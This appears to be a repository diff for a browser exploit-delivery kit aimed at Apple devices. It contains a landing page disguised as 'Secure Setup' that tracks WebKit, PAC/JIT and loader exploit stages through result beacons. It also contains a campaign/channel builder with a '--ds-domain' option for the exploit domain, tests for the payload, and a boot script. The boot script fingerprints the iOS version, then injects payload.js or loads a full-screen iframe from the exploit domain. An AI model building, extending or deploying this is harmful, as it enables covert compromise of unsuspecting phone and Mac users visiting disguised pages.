.progress-panel {
width: min(920px, 100%);
background: var(--card);
border: 1px solid rgba(197, 214, 228, .85);
border-radius: 20px;
padding: 18px 16px 16px;
backdrop-filter: blur(10px);
box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
}
.bar {
height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
}
.bar > i {
display: block; height: 100%; width: 0;
border-radius: inherit;
background: linear-gradient(90deg, #0b7ea4, #1f8a55);
transition: width .4s ease;
}
.steps {
list-style: none; margin: 16px 0 0; padding: 0;
display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
}
.step {
position: relative;
display: flex; flex-direction: column; align-items: center; gap: 8px;
text-align: center; min-width: 0;
}
.step:not(:last-child)::after {
content: "";
position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
height: 2px; background: var(--line); z-index: 0;
transition: background .3s ease;
}
.step.is-ok:not(:last-child)::after,
.step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
.dot {
position: relative; z-index: 1;
width: 28px; height: 28px; border-radius: 50%;
display: grid; place-items: center;
font-size: 11px; font-weight: 700;
color: var(--muted); background: #fff;
border: 2px solid var(--line);
transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
}
.step .label {
font-size: 11px; font-weight: 600; letter-spacing: .04em;
text-transform: uppercase; color: var(--muted);
}
.step .file {
font-size: 10px; color: #8aa0b3; max-width: 100%;
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.step.is-run .dot {
color: #fff; background: var(--run); border-color: var(--run);
transform: scale(1.06);
animation: pulse 1.2s ease-in-out infinite;
}
.step.is-run .label { color: var(--run); }
.step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
.step.is-ok .label { color: var(--ok); }
.step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
.step.is-bad .label { color: var(--bad); }
.step.is-ok .file, .step.is-run .file { color: var(--ink); }
/* idle / not-yet-run: muted gray only */
.step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
color: var(--muted); background: #fff; border-color: var(--line);
}
.step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
.device-model {
font-size: 13px; font-weight: 500; color: var(--muted);
letter-spacing: .02em;
}
@keyframes pulse {
0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
}
@media (prefers-reduced-motion: reduce) {
.ring-fg, .bar > i, .dot { transition: none; }
.step.is-run .dot { animation: none; }
.ring-wrap.is-ticking .count { animation: none; }
}
</style>
</head>
<body>
<div id="lab-hud">
<div class="brand">Secure Setup</div>
<div class="ring-wrap is-run" id="lab-ring-wrap">
<svg viewBox="0 0 120 120" aria-hidden="true">
<circle class="ring-bg" cx="60" cy="60" r="54"></circle>
<circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
</svg>
<div class="ring-center">
<div class="count" id="lab-count">15</div>
<div class="count-unit">sec</div>
<div id="lab-status">Starting…</div>
</div>
</div>
<div class="progress-panel">
<div class="bar"><i id="lab-bar"></i></div>
<ol class="steps">
<li class="step" data-stage="1" id="lab-s1">
<span class="dot">1</span>
<span class="label">WebKit</span>
<span class="file" id="lab-f1">stage1</span>
</li>
<li class="step" data-stage="2" id="lab-s2">
<span class="dot">2</span>
<span class="label">PAC / JIT</span>
<span class="file" id="lab-f2">stage2</span>
</li>
<li class="step" data-stage="3" id="lab-s3">
<span class="dot">3</span>
<span class="label">Loader</span>
<span class="file" id="lab-f3">stage3</span>
</li>
<li class="step" data-stage="ok" id="lab-sok">
<span class="dot">✓</span>
<span class="label">Success</span>
<span class="file" id="lab-fok">e=0</span>
</li>
</ol>
</div>
<div class="device-model" id="lab-model">—</div>
</div>
<script type="text/javascript">
(function () {
var STAGE_MAP = {
"98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
"700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
"3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
"1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
"40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
"9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
"b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
"651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
"291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
"0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
"0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
"9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
"ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
};
var PRIMARY = {
"6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
"054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
"e406714e92671b5218496fcb6666734411cb2320": "0xf330",
"694c829e379e12085de6158b85f32509f54f4796": "0xf240",
"3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
"6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
"eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
"6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
"99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
"c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
"076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
"62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
"a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
"f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
};
var SECONDARY = {
"65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
"7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
"039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
"242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
"347367155da44f3efcc9053337913061079610b9": "sec",
"630c2b42300333d91588353d43afab9ec8325e09": "sec",
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
"743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
"7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
};
var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
var files = { 1: null, 2: null, 3: null, p: null, s: null };
var statusEl = document.getElementById("lab-status");
var barEl = document.getElementById("lab-bar");
var ringEl = document.getElementById("lab-ring");
var ringWrap = document.getElementById("lab-ring-wrap");
var countEl = document.getElementById("lab-count");
var modelEl = document.getElementById("lab-model");
var CIRC = 2 * Math.PI * 54;
var TOTAL_SEC = 15;
var startedAt = Date.now();
var remain = TOTAL_SEC;
var finished = false;
var failed = false;
var tickTimer = null;
ringEl.style.strokeDasharray = String(CIRC);
ringEl.style.strokeDashoffset = "0";
ringWrap.classList.add("is-ticking");
function log() {}
function setStepUi(n, kind) {
var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
var el = document.getElementById(id);
if (!el) return;
// Success node is never painted red — stays gray until real success (green ✓).
if (n === "ok" && kind === "bad") kind = "idle";
el.classList.remove("is-run", "is-ok", "is-bad");
if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
var dot = el.querySelector(".dot");
if (dot) {
if (kind === "ok") {
dot.textContent = "✓";
} else if (n === "ok") {
dot.textContent = "✓";
} else if (n === 1 || n === 2 || n === 3) {
if (kind !== "ok") dot.textContent = String(n);
}
}
}
function ringTone() {
ringWrap.classList.remove("is-run", "is-ok", "is-bad");
if (failed) ringWrap.classList.add("is-bad");
else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
else ringWrap.classList.add("is-run");
}
function paintCountdown() {
var elapsed = (Date.now() - startedAt) / 1000;
remain = Math.max(0, TOTAL_SEC - elapsed);
var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
countEl.textContent = String(Math.max(0, Math.ceil(remain)));
if (remain <= 0) ringWrap.classList.remove("is-ticking");
else ringWrap.classList.add("is-ticking");
ringTone();
}
function refreshBar() {
var score = 0;
if (state[1] === "ok") score += 1;
if (state[2] === "ok") score += 1;
if (state[3] === "ok") score += 1;
if (state.p === "ok") score += 0.35;
if (state.s === "ok") score += 0.35;
if (state.ok === "ok") score = 4;
if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
state.p === "run" || state.s === "run")) score += 0.2;
barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
}
function setStage(n, kind, file, label) {
if (!(n in state) && n !== "ok") return;
if (state[n] === "ok" && kind === "run") return;
// After e=0 success, ignore later pack noise that would re-color stages.
if (finished && n !== "ok" && kind !== "ok") return;
state[n] = kind;
if (file && n !== "ok") {
files[n] = file;
if (n === 1 || n === 2 || n === 3) {
var fe = document.getElementById("lab-f" + n);
if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
}
// Pack progress belongs under Success, not Stage3.
if ((n === "p" || n === "s") && !finished) {
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
}
}
if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
refreshBar();
var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
if (finished && n !== "ok") return;
if (kind === "ok") statusEl.textContent = name + " ready";
if (kind === "bad") {
failed = true;
statusEl.textContent = name + " failed";
ringTone();
}
if (kind === "run") statusEl.textContent = "Loading " + name + "…";
}
function markSuccess() {
finished = true;
failed = false;
// e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
[1, 2, 3].forEach(function (n) {
if (state[n] !== "bad") setStepUi(n, "ok");
if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
});
if (state.p === "run") state.p = "ok";
if (state.s === "run" || state.s === "idle") state.s = "ok";
state.ok = "ok";
setStepUi("ok", "ok");
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = "e=0";
statusEl.textContent = "Complete";
document.title = "Ready";
barEl.style.width = "100%";
ringTone();
}
function explainE(code) {
if (code === "0") return "ok";
if (code === "1000") return "exception";
if (code === "1001") return "unsupported";
if (code === "1002") return "stage3/native fail";
if (code === "1003") return "gate fail";
return "";
}
function isResultBeacon(url) {
var s = String(url);
if (!/[?&]e=\d+/.test(s)) return false;
if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
try {
var u = new URL(s, location.href);
var path = u.pathname || "";
if (/\/$/.test(path) && u.searchParams.has("e")) return true;
if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
} catch (err) {}
return false;
}
function onBeacon(url, ok) {
if (!isResultBeacon(url)) return false;
var em = String(url).match(/[?&]e=(\d+)/);
if (!em) return false;
var code = em[1];
var note = explainE(code);
statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
" · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
if (code === "0") {
// Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
[1, 2, 3, "p", "s"].forEach(function (n) {
if (state[n] !== "bad") setStage(n, "ok", files[n], null);
});
markSuccess();
} else if (code === "1002" || code === "1000") {
if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
failed = true;
setStepUi("ok", "idle");
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = "e=" + code;
ringTone();
} else {
failed = true;
setStepUi("ok", "idle");
var fok2 = document.getElementById("lab-fok");
if (fok2) fok2.textContent = "e=" + code;
ringTone();
}
return true;
}
function deviceModel() {
var ua = navigator.userAgent || "";
var plat = navigator.platform || "";
var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
? "iPhone"
: /iPad/i.test(ua) || /iPad/i.test(plat)
? "iPad"
: /Macintosh|Mac OS X/i.test(ua)
? "Mac"
: (plat || "Device");
var ver = ios
? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
: mac
? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
: "";
return ver ? name + " · " + ver : name;
}
function fillModel() {
modelEl.textContent = deviceModel();
}
function classify(url) {
if (!url) return null;
var s = String(url);
if (isResultBeacon(s)) return { kind: "beacon", url: s };
var min = s.match(/([0-9a-f]{40})\.min\.js/i);
if (min) {
var sh = min[1].toLowerCase();
if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
return { kind: "secondary", hash: sh, label: "min.js" };
}
var m = s.match(/([0-9a-f]{40})\.js/i);
if (!m) return null;
var hash = m[1].toLowerCase();
if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
var info = STAGE_MAP[hash];
if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
return null;
}
function onModule(url, ok) {
var hit = classify(url);
if (!hit) return;
if (hit.kind === "beacon") {
onBeacon(url, ok);
return;
}
if (hit.kind === "primary") {
setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
return;
}
if (hit.kind === "secondary") {
setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
return;
}
if (hit.kind === "stage") {
if (hit.stage === 0) {
log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
onBeacon(url, ok);
return;
}
setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
" (" + hit.hash.slice(0, 12) + ")");
if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
if (ok && hit.stage === 3) {
if (state[1] === "idle") setStage(1, "ok", files[1], null);
if (state[2] === "idle") setStage(2, "ok", files[2], null);
}
}
}
var XO = XMLHttpRequest.prototype.open;
var XS = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function (method, url) {
this.__labUrl = url;
var hit = classify(url);
if (hit) {
if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
}
return XO.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function () {
var xhr = this;
xhr.addEventListener("loadend", function () {
var ok = xhr.status === 200 || xhr.status === 0;
if (xhr.status === 0 && xhr.response != null) ok = true;
if (xhr.status >= 400) ok = false;
var u = xhr.__labUrl;
if (u && isResultBeacon(u)) {
onBeacon(u, true);
return;
}
onModule(u, ok && xhr.status !== 404);
});
return XS.apply(this, arguments);
};
var armed = false;
setInterval(function () {
// e=0 may land before secondary is requested; never fail packs after success.
if (finished || state.ok === "ok") return;
if (state.p === "ok" && state.s === "idle") {
if (!armed) {
armed = true;
setTimeout(function () {
if (finished || state.ok === "ok") return;
if (state.p === "ok" && state.s === "idle") {
setStage("s", "bad", null, "no request");
statusEl.textContent = "Primary ok · secondary never requested";
log("timeout · no secondary .min.js after primary");
}
}, 4000);
}
}
}, 500);
// Independent of stage success/fail — always ticks until 15s elapses.
tickTimer = setInterval(function () {
paintCountdown();
if (remain <= 0) {
clearInterval(tickTimer);
tickTimer = null;
ringWrap.classList.remove("is-ticking");
}
}, 200);
fillModel();
paintCountdown();
statusEl.textContent = "Preparing stages…";
window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
})();
</script>
<script src="index.js"></script>
</body>
</html>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+32 -38
View File
@@ -38,6 +38,11 @@ from _common import (
TOOLS = Path(__file__).resolve().parent TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent BUILDER_ROOT = TOOLS.parent
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
if str(_EMBED_DIR) not in sys.path:
sys.path.insert(0, str(_EMBED_DIR))
from embed_boot import apply_embed_boot # noqa: E402
SUPPORT_TEMPLATES = ("test", "blank") SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "blank" DEFAULT_SUPPORT_TEMPLATE = "blank"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
return template return template
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
HIT_MARKER = "data-pv"
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
def load_hit_js() -> str:
if not HIT_JS_PATH.is_file():
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
def ensure_hit_beacon(support_html: Path) -> None:
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
text = support_html.read_text(encoding="utf-8")
if HIT_MARKER in text:
return
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
lower = text.lower()
idx = lower.rfind("</head>")
if idx >= 0:
text = text[:idx] + block + text[idx:]
else:
# Fallback: prepend after <html...> or at start.
html_idx = lower.find("<html")
if html_idx >= 0:
gt = text.find(">", html_idx)
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
else:
text = "<head>\n" + block + "</head>\n" + text
support_html.write_text(text, encoding="utf-8")
def apply_support_template(campaign_dir: Path, template: str) -> None: def apply_support_template(campaign_dir: Path, template: str) -> None:
template = normalize_support_template(template) template = normalize_support_template(template)
dest = campaign_dir / "support.html" dest = campaign_dir / "support.html"
if template == "test":
if not dest.is_file():
raise SystemExit(f"missing support.html after campaign copy: {dest}")
return
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html" src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file(): if not src.is_file():
raise SystemExit(f"missing support template: {src}") raise SystemExit(f"missing support template: {src}")
shutil.copyfile(src, dest) shutil.copyfile(src, dest)
if template == "blank":
ensure_hit_beacon(dest)
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
if not support_html.is_file():
return
text = support_html.read_text(encoding="utf-8")
if "__DS_DOMAIN__" not in text:
return
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
def resolve_python() -> str: def resolve_python() -> str:
@@ -303,12 +280,20 @@ def main() -> int:
type=Path, type=Path,
help="optional path to write the result JSON (also printed on stdout)", help="optional path to write the result JSON (also printed on stdout)",
) )
parser.add_argument(
"--ds-domain",
default="",
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
"Empty = relative /next-chain/ (default)",
)
args = parser.parse_args() args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web" src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file(): if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source web template: {src_campaign}") raise SystemExit(f"missing source web template: {src_campaign}")
if not (src_campaign / "index.js").is_file():
raise SystemExit(f"missing source web/index.js: {src_campaign}")
if not src_sync.is_dir(): if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}") raise SystemExit(f"missing source sync: {src_sync}")
@@ -382,7 +367,10 @@ def main() -> int:
print("=== build web/%s ===" % channel) print("=== build web/%s ===" % channel)
web_dir.parent.mkdir(parents=True, exist_ok=True) web_dir.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk) shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
if not (web_dir / "index.js").is_file():
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
apply_support_template(web_dir, support_template) apply_support_template(web_dir, support_template)
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
run( run(
[ [
py, py,
@@ -401,6 +389,11 @@ def main() -> int:
"--apply", "--apply",
] ]
) )
apply_embed_boot(
web_dir,
channel_code=channel,
ds_domain=(args.ds_domain or "").rstrip("/"),
)
except BaseException: except BaseException:
if web_dir.exists() and not sync_rebuilt: if web_dir.exists() and not sync_rebuilt:
# leave shared sync; remove failed channel web # leave shared sync; remove failed channel web
@@ -421,6 +414,7 @@ def main() -> int:
"seeds_initialized": seeds_initialized, "seeds_initialized": seeds_initialized,
"sync_rebuilt": sync_rebuilt, "sync_rebuilt": sync_rebuilt,
"support_path": f"/web/{channel}/support.html", "support_path": f"/web/{channel}/support.html",
"ds_domain": (args.ds_domain or "").rstrip("/"),
"daily_path": "/sync/daily.html", "daily_path": "/sync/daily.html",
"artifact_root": str(artifact_root), "artifact_root": str(artifact_root),
"state_root": str(state_root), "state_root": str(state_root),
@@ -0,0 +1,95 @@
import tempfile
import unittest
from pathlib import Path
import sys
TOOLS = Path(__file__).resolve().parents[1]
SOURCE = TOOLS.parent / "source"
EMBED = TOOLS.parents[1] / "channel-embed"
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
if str(EMBED) not in sys.path:
sys.path.insert(0, str(EMBED))
from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402
from new_project import apply_ds_domain, apply_support_template # noqa: E402
class SupportLandingTest(unittest.TestCase):
def test_source_index_js_holds_payload(self) -> None:
index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
self.assertIn("function cAsUcoxco", index_js)
self.assertGreater(len(index_js), 1000)
def test_source_landings_only_load_index_js(self) -> None:
landings = [
SOURCE / "web" / "support.html",
SOURCE / "templates" / "support" / "blank.html",
SOURCE / "templates" / "support" / "test.html",
]
for path in landings:
html = path.read_text(encoding="utf-8")
self.assertIn('src="index.js"', html, path.name)
self.assertNotIn('src="/t.js"', html, path.name)
self.assertNotIn("data-pv", html, path.name)
self.assertNotIn("/statistic/t", html, path.name)
self.assertNotIn("/next-chain/frame.html", html, path.name)
self.assertNotIn("__DS_DOMAIN__", html, path.name)
self.assertNotIn("function cAsUcoxco", html, path.name)
clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
self.assertNotIn("lab-hud", clean)
self.assertNotIn("__labHud", clean)
self.assertNotIn("STAGE_MAP", clean)
def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp)
(dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
apply_embed_boot(
dest,
channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
ds_domain="https://ds.example.com",
)
boot = (dest / "index.js").read_text(encoding="utf-8")
payload = (dest / "payload.js").read_text(encoding="utf-8")
self.assertIn(BOOT_MARKER, boot)
self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
self.assertIn("https://ds.example.com", boot)
self.assertIn("payload.js", boot)
self.assertIn("function cAsUcoxco", payload)
apply_embed_boot(
dest,
channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
ds_domain="",
)
boot2 = (dest / "index.js").read_text(encoding="utf-8")
self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
def test_apply_support_template_does_not_inline_beacon(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp)
apply_support_template(dest, "blank")
html = (dest / "support.html").read_text(encoding="utf-8")
self.assertIn('src="index.js"', html)
self.assertNotIn("data-pv", html)
self.assertNotIn("/statistic/t", html)
def test_apply_ds_domain_replaces_placeholder(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / "support.html"
dest.write_text(
"var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
encoding="utf-8",
)
apply_ds_domain(dest, "https://ds.example.com")
text = dest.read_text(encoding="utf-8")
self.assertNotIn("__DS_DOMAIN__", text)
self.assertIn("https://ds.example.com", text)
self.assertIn("/next-chain/frame.html", text)
if __name__ == "__main__":
unittest.main()
+43
View File
@@ -0,0 +1,43 @@
"""Install the shared script-embed boot as published index.js."""
from __future__ import annotations
from pathlib import Path
BOOT_MARKER = "/* coruna-embed-boot */"
BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
PAYLOAD_NAME = "payload.js"
INDEX_NAME = "index.js"
def apply_embed_boot(
dest_dir: Path,
*,
channel_code: str,
ds_domain: str = "",
) -> Path:
dest_dir = Path(dest_dir)
if not dest_dir.is_dir():
raise SystemExit(f"embed boot: missing directory {dest_dir}")
if not BOOT_TEMPLATE.is_file():
raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
index_path = dest_dir / INDEX_NAME
payload_path = dest_dir / PAYLOAD_NAME
if index_path.is_file():
current = index_path.read_text(encoding="utf-8")
if BOOT_MARKER not in current and not payload_path.is_file():
index_path.replace(payload_path)
elif BOOT_MARKER in current and not payload_path.is_file():
raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
if not payload_path.is_file():
raise SystemExit(f"embed boot: missing payload {payload_path}")
boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
boot = boot.replace("__CHANNEL_CODE__", channel_code)
boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
boot = boot.replace("__STAT_ORIGIN__", "")
if BOOT_MARKER not in boot:
boot = BOOT_MARKER + "\n" + boot
index_path.write_text(boot, encoding="utf-8")
return index_path
+81
View File
@@ -0,0 +1,81 @@
/* coruna-embed-boot */
(function () {
var CHANNEL = '__CHANNEL_CODE__';
var DS_DOMAIN = '__DS_DOMAIN__';
var STAT_ORIGIN = '__STAT_ORIGIN__';
if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
window.__CORUNA_CHANNEL__ = CHANNEL;
}
if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
} else {
window.__CORUNA_STAT_ORIGIN__ = '';
}
function scriptDir() {
try {
if (document.currentScript && document.currentScript.src) {
return document.currentScript.src.replace(/\/[^\/]*$/, '/');
}
} catch (e0) {}
try {
var scripts = document.getElementsByTagName('script');
for (var i = scripts.length - 1; i >= 0; i--) {
var src = scripts[i].src || '';
if (/\/index\.js(?:[?#]|$)/i.test(src)) {
return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
}
}
} catch (e1) {}
return '';
}
function inject(src) {
var s = document.createElement('script');
s.src = src;
(document.body || document.documentElement || document.head).appendChild(s);
}
var dir = scriptDir();
var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
inject((statOrigin || location.origin) + '/t.js?' + Date.now());
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
inject((dir || '') + 'payload.js?' + Date.now());
return;
}
if (ios[0] === 18) {
var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
if (!channelCode) {
try {
var path = String(location.pathname || '');
var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (mWeb && mWeb[1]) channelCode = mWeb[1];
else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
} catch (eC) {}
}
var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
+2
View File
@@ -48,6 +48,8 @@ return [
storage_path('app/channel-builder') storage_path('app/channel-builder')
), ),
